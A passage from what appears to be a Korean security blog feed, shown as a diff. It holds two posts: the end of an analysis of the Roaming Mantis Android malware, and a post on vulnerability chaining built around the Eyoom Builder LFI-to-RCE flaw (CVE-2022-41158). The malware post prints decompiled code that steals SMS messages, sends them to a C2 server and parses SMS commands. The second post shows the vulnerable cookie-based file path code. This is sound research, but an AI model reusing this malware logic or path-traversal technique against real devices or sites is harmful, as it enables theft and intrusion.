class="n">v13</span> <span class="o">=</span> <span class="n">v12_1</span><span class="o">.</span><span class="na">getDisplayMessageBody</span><span class="o">();</span> + +<span class="c1">// 4. 수신된 메시지의 발신 주소 수집</span> +<span class="nc">String</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">v12_1</span><span class="o">.</span><span class="na">getDisplayOriginatingAddress</span><span class="o">();</span> + +<span class="c1">// 5. 발신자 주소(key)-메시지의 timestamp(value) 로 저장</span> +<span class="n">v3_1</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">v14</span><span class="o">,</span> <span class="nc">Long</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">v12_1</span><span class="o">.</span><span class="na">getTimestampMillis</span><span class="o">()));</span> + +<span class="c1">// 6. 발신자 주소(key)-메시지 내용(value)로 저장</span> + <span class="n">v4_2</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">v14</span><span class="o">,</span> <span class="n">v12_2</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span> +</code></pre></div></div> + +<p>JSON-RPC로 <code class="language-plaintext highlighter-rouge">onSms</code> method와 수집한 내용을 공격자 서버로 전달합니다.</p> + +<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// s = "onSms"</span> +<span class="c1">// 1. Json-RPC로 onSms method 실행</span> +<span class="nb">Map</span> <span class="nx">map0</span> <span class="o">=</span> <span class="nx">b0</span><span class="p">.</span><span class="nx">f</span><span class="p">(</span><span class="k">new</span> <span class="nx">b</span><span class="p">[]{</span><span class="nx">c</span><span class="p">.</span><span class="nx">a</span><span class="p">(</span><span class="dl">"</span><span class="s2">jsonrpc</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">2.0</span><span class="dl">"</span><span class="p">),</span> <span class="nx">c</span><span class="p">.</span><span class="nx">a</span><span class="p">(</span><span class="dl">"</span><span class="s2">method</span><span class="dl">"</span><span class="p">,</span> <span class="nx">s</span><span class="p">)});</span> + +<span class="c1">// 2. 수집한 내용을 params로 전달</span> +<span class="nx">map0</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="dl">"</span><span class="s2">params</span><span class="dl">"</span><span class="p">,</span> <span class="nx">object0</span><span class="p">);</span> +</code></pre></div></div> + +<p>이후 공격자는 audio 상태를 무음으로 변경합니다. 만약 기기를 자주 살펴보지 않는 사용자라면, 본인도 모르는 사이에 문자가 발신/수신 될 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Object</span> <span class="n">v0_13</span> <span class="o">=</span> <span class="n">v2</span><span class="o">.</span><span class="na">getSystemService</span><span class="o">(</span><span class="s">"audio"</span><span class="o">);</span> +<span class="k">if</span><span class="o">(</span><span class="n">v0_13</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="o">((</span><span class="nc">AudioManager</span><span class="o">)</span><span class="n">v0_13</span><span class="o">).</span><span class="na">setRingerMode</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span> +</code></pre></div></div> + +<p>수신하는 경우의 로직도 존재합니다. 특이한 점은 수신한 문자의 앞 두글자에 따라 다른 동작을 한다는 것입니다. 마치 기계에 커맨드를 입력하는 것 같습니다.</p> + +<p>맨 앞 두 글자에 따라 SharedPreference 객체에 key-value로 값을 저장하는 형태를 많이 보입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. 앞 글자가 FS인 경우, fs(key)-메시지내용(value) 추가</span> +<span class="k">if</span><span class="o">(</span><span class="kt">boolean</span> <span class="n">z2</span> <span class="o">=</span> <span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"FS"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"fs"</span><span class="o">,</span> <span class="n">r</span><span class="o">.</span><span class="na">c</span><span class="o">(</span><span class="n">s13</span><span class="o">))).</span><span class="na">apply</span><span class="o">()</span> + +<span class="c1">// 2. 앞 글자가 SF인 경우, account(key)-메시지내용(value) 추가</span> +<span class="k">if</span><span class="o">(</span><span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"SF"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"account"</span><span class="o">,</span> <span class="n">s14</span><span class="o">).</span><span class="na">apply</span><span class="o">();</span> + +<span class="c1">// 3. 앞 글자가 IF인 경우, 네트워크(socket등)연결 시도</span> +<span class="k">if</span><span class="o">(</span><span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"IF"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> + + <span class="c1">// 3-1. 연결 되었을 경우</span> + <span class="n">i</span><span class="o">.</span><span class="na">c</span><span class="o">(</span><span class="n">socket1</span><span class="o">,</span> <span class="s">"peer.ws!!.socket"</span><span class="o">);</span> + <span class="n">s15</span> <span class="o">=</span> <span class="s">"已连接:"</span> <span class="o">+</span> <span class="n">socket1</span><span class="o">.</span><span class="na">getRemoteSocketAddress</span><span class="o">().</span><span class="na">toString</span><span class="o">();</span> + + <span class="c1">// 3-2. 연결되지 않았을 경우</span> + <span class="n">s15</span> <span class="o">=</span> <span class="s">"未连接,"</span> <span class="o">+</span> <span class="n">s16</span> <span class="o">+</span> <span class="sc">','</span> <span class="o">+</span> <span class="o">(</span><span class="n">wifiManager0</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">?</span> <span class="kc">false</span> <span class="o">:</span> <span class="n">wifiManager0</span><span class="o">.</span><span class="na">isWifiEnabled</span><span class="o">())</span> <span class="o">+</span> <span class="sc">','</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">j</span><span class="o">;</span> + +<span class="c1">// 4. 앞 긑자리 SI인 경우, addr_url/addr_encoding/addr_pattern/addr_accounts 추가</span> +<span class="k">if</span><span class="o">(</span><span class="kt">boolean</span> <span class="n">z3</span> <span class="o">=</span> <span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"SI"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="kt">byte</span><span class="o">[]</span> <span class="n">arr_b</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">s13</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_url"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">0</span><span class="o">))).</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_encoding"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">1</span><span class="o">))).</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_pattern"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">2</span><span class="o">))).</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_accounts"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">3</span><span class="o">))).</span><span class="na">apply</span><span class="o">();</span> + +<span class="c1">// 5. 앞 글자리 FM인 경우, Key(arr_b1)으로 AES 복호화 후 fsm(key)-메시지내용(value) 추가</span> +<span class="k">else</span> <span class="nf">if</span><span class="o">(</span><span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"FM"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="kt">byte</span><span class="o">[]</span> <span class="n">arr_b1</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="s">"CpMSc7iSk/dTcRO7aMe4qA=="</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"fsm"</span><span class="o">,</span> <span class="n">s18</span><span class="o">)</span> +</code></pre></div></div> + +<p>어떤 내용이 오가는지 정확한 내용은 몰라도, 어느 정도 유추는 가능하며 사용자의 기기로 하여금 악의적인 행위를 수행하도록 하는 것을 볼 수 있습니다.</p> + +<hr /> + +<p><strong>⑦ 기타 동작</strong></p> + +<ul> + <li>앱 정보 수집 + <ul> + <li>설치된 앱들의 정보를 수집합니다.</li> + </ul> + </li> + <li>공인인증서 탈취 + <ul> + <li><code class="language-plaintext highlighter-rouge">/sdcard/NAKI</code> 에 저장된 공인인증서를 탈취합니다.</li> + </ul> + </li> + <li>배터리 최적화 무시 + <ul> + <li>백그라운드에서도 안정적으로 실행되기 위해, 배터리 최적화를 무시하도록 합니다.</li> + </ul> + </li> + <li>wifi lock 설정 + <ul> + <li>연결된 WIFI Lock을 <code class="language-plaintext highlighter-rouge">Swi</code> 라는 이름으로 생성, 백그라운드에서도 연락이 이어지게 끔 동작합니다.</li> + </ul> + </li> + <li>사용자 주변 네트워크, 기기 정보 전송 + <ul> + <li>사용자의 네트워크와 디바이스 정보를 SharedPreference에 저장합니다.</li> + </ul> + </li> + <li>루팅 탐지 + <ul> + <li>루팅 여부를 탐지합니다.</li> + </ul> + </li> + <li>금융 앱 관련 + <ul> + <li>금융 앱 대신 <code class="language-plaintext highlighter-rouge">/sdcard/.upload2</code> 하위의 악성 앱을 실행합니다.</li> + </ul> + </li> + <li>사진 탈취 + <ul> + <li><code class="language-plaintext highlighter-rouge">/DCIM/Camera</code> 에 위치한 사진 파일들을 탈취합니다.</li> + </ul> + </li> + <li>C2 서버로부터 command 수신 + <ul> + <li>다양한 command를 전달받아 동작합니다.</li> + </ul> + + <p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/18.png" alt="18.png" /></p> + </li> +</ul> + +<p>이 외에도 모두 분석하면 꽤 많은 양의 기능을 식별할 수 있을 것으로 예상됩니다.</p> + +<hr /> + +<h1 id="4--outro">4. Outro</h1> + +<p>지금까지 Android Malware : Roaming Mantis를 분석해보았습니다. 타인에게 설명하기에 양도 많고 내용도 복잡해 글을 쓰면서도 고민이 많았습니다. 틀린 부분은 없는지 여러 번 확인도 하였지만, 혹시나 발견하신다면 제 미숙함으로 여겨주시면 감사하겠습니다. (틀린 부분에 대한 문의는 hrjeon@stealien.com으로 연락 바랍니다.)</p> + +<p>Roaming Mantis는 매우 정성 들여 만든 Malware입니다. 그만큼 많은 곳에 복제되어서 이곳저곳 쓰일 것입니다. 혹시나 이 Malware를 마주하게 되신다면, 글을 읽으시는 분들도 한번 쯤 분석해보면 어떨까요?</p> + +<p>더 많은 로직이 있음에도 다 담을 수 없어 아쉽기도 하고, 남은 로직은 후일에 천천히 풀어보도록 해보겠습니다.</p> + +<p>글의 주제를 제공해주신 김도현 팀장님과 분석 실마리를 제공해주신 김동규 선임연구원님, 글 작성을 도와주신 임필호 선임연구원님을 비롯한 모의해킹팀 분들에게 감사합니다.</p> + +<p>이 글이 많은 분들의 연구에 도움이 되길 바라며 글을 줄이겠습니다.</p>Hyerim JeonAndroid Malware : 사마귀 해부학버그헌팅: 취약점 체이닝의 중요성2023-07-31T20:00:00+09:002023-07-31T20:00:00+09:00http://ufo.stealien.com/2023-07-31/bughunting-vulnerability-chaining-ko<h1 id="버그헌팅-취약점-체이닝의-중요성">버그헌팅: 취약점 체이닝의 중요성</h1> +<h2 id="no-impact-no-bug">No impact, No bug</h2> + +<p><img src="/assets/2023-07-31-bughunting-vulnerability-chaining/0.png" alt="CVSS3.1" /></p> + +<p>버그헌팅에서는 이 취약점으로 어떤 악의적인 행위를 할 수 있는지 증명해야 합니다. +대부분의 기업이나 기관들이 CVSS 점수를 이용해 취약점에 대한 평가를 하기 때문에 취약점을 악용할 수 있는 창의적인 아이디어를 생각해내어 시나리오를 만들어야 합니다.</p> + +<p>아무런 생각 없이 단일 취약점을 제보하면, 자칫 많은 시간을 들여 찾은 취약점이 낮은 평가를 받을 수도 있습니다. +그렇다 보니 자연스럽게 버그헌터들은 추후 발견될 취약점과의 연계를 위해 낮은 영향도(impact)의 취약점을 저장해둡니다. 그리고 더 높은 영향력을 가진 시나리오를 만들 수 있게 되면 제보합니다.</p> + +<p>이런 방식을 다른 취약점과의 연계, 즉 취약점 체이닝이라고 말합니다.</p> + +<h2 id="vulnerability-chaining">Vulnerability Chaining</h2> + +<blockquote> + <p>취약점 체이닝이란, 두 개 이상의 취약점을 연결하여 상대적으로 중요하지 않은 보안 이슈들을 결합해 강력한 공격 시나리오를 구축하는 방법</p> + +</blockquote> + +<p>취약점 체이닝은 분석 대상에 대한 깊은 이해를 필요로 합니다. 아무래도 한 가지 취약점이 아닌 여러 취약점을 찾아야 함도 있고, 특히 취약점은 아니지만 서비스 상의 정상적인 기능을 이용해서도 취약점과의 연계가 이루어질 수 있기 때문입니다. 때문에 단순히 취약점 뿐만 아니라 기능에 대한 세부적인 분석도 필요하게 됩니다.</p> + +<p><strong>취약점 체이닝 방법론 요약</strong></p> + +<ol> + <li>시스템 이해 : 시스템이 어떻게 작동하는지 전반적으로 이해하는 것이 중요</li> + <li>세부적인 분석 : 개별 취약점을 식별하고 이해하는 것이 중요</li> + <li>시나리오 구축 : 실제 공격 시나리오를 구축하고 시뮬레이션 필요</li> +</ol> + +<p>취약점 체이닝에 대한 좋은 예시로 국내 CMS를 대상으로 한 취약점 하나를 예로 들어보겠습니다. 해당 취약점은 이윰빌더에서 경로 조작을 통한 LFI(Local File Inclusion)가 가능해 발생하는 RCE(Remote Code Execution) 취약점입니다.</p> + +<p>자세한 정보는 KISA의 보안 취약점 정보 포털의 국내 취약점 정보 페이지에 방문하시면 확인하실 수 있습니다. (<a href="https://knvd.krcert.or.kr/detailDos.do?IDX=5789">https://knvd.krcert.or.kr/detailDos.do?IDX=5789</a>)</p> + +<h1 id="cve-2022-41158--이윰빌더-원격-코드-실행-취약점"><strong>CVE-2022-41158 | 이윰빌더 원격 코드 실행 취약점</strong></h1> + +<table> + <thead> + <tr> + <th>취약점 종류</th> + <th>영향</th> + <th>심각도</th> + <th>CVSS 점수</th> + <th>제품</th> + <th>영향 받는 버전</th> + </tr> + </thead> + <tbody> + <tr> + <td>LFI (Local File Inclusion)</td> + <td>원격 코드 실행</td> + <td>High</td> + <td>7.2</td> + <td>이윰빌더</td> + <td>4.5.3 및 이전 버전</td> + </tr> + </tbody> +</table> + +<p>취약점 설명 : 이윰빌더가 쿠키 값을 파일의 경로에 사용하는 것을 이용하여 원격 코드 실행이 가능한 취약점</p> + +<h2 id="이윰빌더-개요">이윰빌더 개요</h2> + +<p><a href="https://eyoom.net/">이윰빌더</a>는 그누보드5(영카트5)를 프레임워크로 사용한 회원가입, 게시판, 쇼핑몰 결제 등의 기능을 제공하는 국내 CMS 중 하나입니다.</p> + +<p><img src="/assets/2023-07-31-bughunting-vulnerability-chaining/1.png" alt="[https://eyoom.net/page/eb4_introduction](https://eyoom.net/page/eb4_introduction)" /></p> + +<h3 id="lfi-patch-analysis">LFI Patch Analysis</h3> + +<ul> + <li>이윰빌더 변경 파일 소스 보기(Github)</li> +</ul> + +<p><img src="/assets/2023-07-31-bughunting-vulnerability-chaining/2.png" alt="[https://github.com/eyoom/eyoom_builder_4/commit/4fa8436cf2691dae5064d7c187ffa90327d41042](https://github.com/eyoom/eyoom_builder_4/commit/4fa8436cf2691dae5064d7c187ffa90327d41042)" /> +<em><a href="https://github.com/eyoom/eyoom_builder_4/commit/4fa8436cf2691dae5064d7c187ffa90327d41042">https://github.com/eyoom/eyoom_builder_4/commit/4fa8436cf2691dae5064d7c187ffa90327d41042</a></em></p> + +<p>4.5.4 버전 이상에서는 위와 같이 <code class="language-plaintext highlighter-rouge">$unique_theme_id</code> 변수 값에 숫자만 입력 값으로 들어갈 수 있도록 정규식 필터링이 걸렸습니다.</p> + +<p>다시 말해 4.5.3 이하 버전에서는 $unique_theme_id 변수의 값에 <code class="language-plaintext highlighter-rouge">../</code> 와 같은 파일의 경로를 조작할 수 있는 문자열이 들어갈 수 있다는 말과도 같습니다. 어떻게 그것이 가능한지 확인해보겠습니다.</p> + +<p>아래 코드는 git commit에서 보았던 eyoom/class/theme.class.php 파일 내용 중 취약한 코드입니다.</p> + +<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cd">/** + * 유니크 아이디 쿠키 생성 + */</span> +<span class="k">if</span> <span class="p">(</span><span class="nf">get_cookie</span><span class="p">(</span><span class="s1">'unique_theme_id'</span><span class="p">))</span> <span class="p">{</span> + <span class="nv">$unique_theme_id</span> <span class="o">=</span> <span class="nf">get_cookie</span><span class="p">(</span><span class="s1">'unique_theme_id'</span><span class="p">);</span> +<span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="nv">$unique_theme_id</span> <span class="o">=</span> <span class="nb">date</span><span class="p">(</span><span class="s1">'YmdHis'</span><span class="p">,</span> <span class="nb">time</span><span class="p">())</span> <span class="mf">.</span> <span class="nb">str_pad</span><span class="p">((</span><span class="n">int</span><span class="p">)(</span><span class="nb">microtime</span><span class="p">()</span><span class="o">*</span><span class="mi">100</span><span class="p">),</span> <span class="mi">2</span><span class="p">,</span> <span class="s2">"0"</span><span class="p">,</span> <span class="no">STR_PAD_LEFT</span><span class="p">);</span> + <span class="nf">set_cookie</span><span class="p">(</span><span class="s1">'unique_theme_id'</span><span class="p">,</span><span class="nv">$unique_theme_id</span><span class="p">,</span><span class="mi">3600</span><span class="p">);</span> +<span class="p">}</span> + +<span class="nv">$file</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">tmp_path</span> <span class="mf">.</span> <span class="s1">'/'</span> <span class="mf">.</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REMOTE_ADDR'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'.'</span> <span class="mf">.</span> <span class="nv">$unique_theme_id</span> <span class="mf">.</span> <span class="s1">'.php'</span><span class="p">;</span> +<span class="k">if</span> <span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$file</span><span class="p">))</span> <span class="p">{</span> + <span class="k">include_once</span><span class="p">(</span><span class="nv">$file</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="nv">$is_shop_theme</span><span class="p">)</span> <span class="p">{</span> + <span class="nv">$arr</span><span class="p">[</span><span class="s1">'theme'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$user_config</span><span class="p">[</span><span class="s1">'theme'</span><span class="p">];</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="nv">$arr</span><span class="p">[</span><span class="s1">'shop_theme'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$user_config</span><span class="p">[</span><span class="s1">'shop_theme'</span><span class="p">];</span> + <span class="p">}</span> +<span class="p">}</span> +<span class="nv">$_config</span> <span class="o">=</span> <span class="nv">$arr</span><span class="p">;</span> + +<span class="cd">/** + * 파일 생성 및 갱신 + */</span> +<span class="k">parent</span><span class="o">::</span><span class="nf">save_file</span><span class="p">(</span><span class="s1">'user_config'</span><span class="p">,</span> <span class="nv">$file</span><span class="p">,</span> <span class="nv">$_config</span><span class="p">);</span> +</code></pre></div></div> + +<p>쿠키 값으로부터 <code class="language-plaintext highlighter-rouge">$unique_theme_id</code> 값을 받아오고, 다시 그 값은 <code class="language-plaintext highlighter-rouge">$file</code> 변수에 <code class="language-plaintext highlighter-rouge">$unique_theme_id</code>에 <code class="language-plaintext highlighter-rouge">.php</code> 라는 확장자가 더해져 특정 파일의 경로가 삽입됩니다.</p> + +<p>그리고 바로 아래 줄에서 만약 해당 경로에 파일이 존재한다면, <code class="language-plaintext highlighter-rouge">include_once($file)</code> 에서 파일이 include 됩니다.</p> + +<p>만약 공격자가 특정 경로에 php 파일을 생성하거나 이미 존재하는 PHP 파일에 임의 명령어를 삽입할 수 있다면, 이 LFI 취약점을 이용해 그 PHP 파일을 불러와 임의 명령어를 실행할 수 있는 <strong>RCE 취약점으로 연계</strong>할 수 있을 것입니다.</p> + +<p>하지만 실제로는 <code class="language-plaintext highlighter-rouge">file_exists</code> 함수에서는 존재하지 않은 디렉터리의 상위경로에 접근할 수 없습니다. ex) not_exists_directory/../../index.php (X)</p> + +<p>만약 이윰빌더에 대한 이해가 부족하다면, 위 취약점에서 어떻게 LFI로 연계하고 RCE 취약점까지 트러기할 수 있는지 발견해내기 쉽지 않을 것입니다.</p> + +<p>$file 변수의 값이 결국 하단의 save_file 함수에 들어가게 되는데, save_file 함수의 내용을 보면 PHP 파일의 내용으로 들어가게 되는 값들은 사용자가 직접 조작할 수 없어 보입니다.</p> + +<p>다만, <code class="language-plaintext highlighter-rouge">$unique_theme_id</code> 값에 <code class="language-plaintext highlighter-rouge">../</code>와 같은 문자열이 들어왔을 때 <code class="language-plaintext highlighter-rouge">fopen</code> 함수에서 상위 경로에 파일이 쓰여질 수 있다는 사실을 알 수 있습니다.</p> + +<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cd">/** + * 배열을 지정한 파일로 저장 - 폴더에 웹서버의 쓰기 권한이 있어야 함 + */</span> +<span class="k">public</span> <span class="k">function</span> <span class="n">save_file</span><span class="p">(</span><span class="nv">$outvar</span><span class="p">,</span> <span class="nv">$filename</span><span class="p">,</span> <span class="nv">$info</span><span class="o">=</span><span class="k">array</span><span class="p">(),</span> <span class="nv">$int</span><span class="o">=</span><span class="kc">false</span><span class="p">)</span> <span class="p">{</span> + <span class="nv">$fp</span> <span class="o">=</span> <span class="o">@</span><span class="nb">fopen</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">);</span> + <span class="nv">$contents</span> <span class="o">=</span> <span class="s2">"&lt;?php</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> + <span class="nv">$contents</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"if (!defined('_EYOOM_')) exit;</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> + <span class="nv">$contents</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"</span><span class="se">\$</span><span class="s2">"</span> <span class="mf">.</span> <span class="nv">$outvar</span> <span class="mf">.</span> <span class="s2">" = array(</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> + <span class="k">if</span> <span class="p">(</span><span class="nv">$info</span> <span class="o">!=</span> <span class="kc">NULL</span><span class="p">)</span> <span class="p">{</span> + <span class="k">foreach</span> <span class="p">(</span><span class="nv">$info</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=&gt;</span> <span class="nv">$value</span><span class="p">)</span> <span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$value</span><span class="p">))</span> <span class="p">{</span> + <span class="c1">// 키값으로 정수를 허용하지 않는다면</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$int</span><span class="p">)</span> <span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">is_int</span><span class="p">(</span><span class="nv">$key</span><span class="p">))</span> <span class="p">{</span> + <span class="nv">$contents</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"</span><span class="se">\t\"</span><span class="s2">"</span> <span class="mf">.</span> <span class="nv">$key</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\"</span><span class="s2"> =&gt; </span><span class="se">\"</span><span class="s2">"</span> <span class="mf">.</span> <span class="nb">addslashes</span><span class="p">(</span><span class="nv">$value</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\"</span><span class="s2">,</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> + <span class="p">}</span> + <span class="p">}</span> <span class="k">else</span> <span class="nv">$contents</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"</span><span class="se">\t\"</span><span class="s2">"</span> <span class="mf">.</span> <span class="nv">$key</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\"</span><span class="s2"> =&gt; </span><span class="se">\"</span><span class="s2">"</span> <span class="mf">.</span> <span class="nb">addslashes</span><span class="p">(</span><span class="nv">$value</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\"</span><span class="s2">,</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="nv">$arr</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span> + <span class="k">foreach</span> <span class="p">(</span><span class="nv">$value</span> <span class="k">as</span> <span class="nv">$k</span> <span class="o">=&gt;</span> <span class="nv">$v</span><span class="p">)</span> <span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$int</span><span class="p">)</span> <span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">is_int</span><span class="p">(</span><span class="nv">$key</span><span class="p">))</span> <span class="p">{</span> + <span class="nv">$arr</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"</span><span class="se">\"</span><span class="s2">"</span> <span class="mf">.</span> <span class="nv">$k</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\"</span><span class="s2"> =&gt; </span><span class="se">\"</span><span class="s2">"</span> <span class="mf">.</span> <span class="nb">addslashes</span><span class="p">(</span><span class="nv">$v</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\"</span><span class="s2">,"</span><span class="p">;</span> + <span class="p">}</span> + <span class="p">}</span> <span class="k">else</span> <span class="nv">$arr</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"</span><span class="se">\"</span><span class="s2">"</span> <span class="mf">.</span> <span class="nv">$k</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\"</span><span class="s2"> =&gt; </span><span class="se">\"</span><span class="s2">"</span> <span class="mf">.</span> <span class="nb">addslashes</span><span class="p">(</span><span class="nv">$v</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\"</span><span class="s2">,"</span><span class="p">;</span> + <span class="p">}</span> + <span class="k">if</span> <span class="p">(</span><span class="nv">$arr</span><span class="p">)</span> <span class="p">{</span> + <span class="nv">$arr</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$arr</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> + <span class="nv">$contents</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">"</span><span class="se">\t\"</span><span class="s2">"</span> <span class="mf">.</span> <span class="nv">$key</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\"</span><span class="s2"> =&gt; array("</span> <span class="mf">.</span> <span class="nv">$arr</span> <span class="mf">.</span> <span class="s2">"),</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> + <span class="p">}</span> + <span class="p">}</span> + <span class="p">}</span> + <span class="p">}</span> + + <span class="nv">$contents</span> <span class="mf">.</span><span class="o">=</span> <span class="s2">");</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span> + <span class="o">@</span><span class="nb">fwrite</span><span class="p">(</span><span class="nv">$fp</span><span class="p">,</span> <span class="nv">$contents</span><span class="p">);</span> + <span class="o">@</span><span class="nb">fclose</span><span class="p">(</span><span class="nv">$fp</span><span class="p">);</span> + <span class="o">@</span><span class="nb">chmod</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="mo">0644</span><span class="p">);</span> +<span class="p">}</span> +</code></pre></div></div> + +<p>또 코드를 보시면 <code class="language-plaintext highlighter-rouge">$value</code> 값은 모두 <code class="language-plaintext highlighter-rouge">addslashes()</code> 함수로 필터링 되고 있습니다. 그리고 <code class="language-plaintext highlighter-rouge">$key</code> 값은 <code class="language-plaintext highlighter-rouge">save_file()</code> 함수 호출 전의 값을 확인해보시면 알 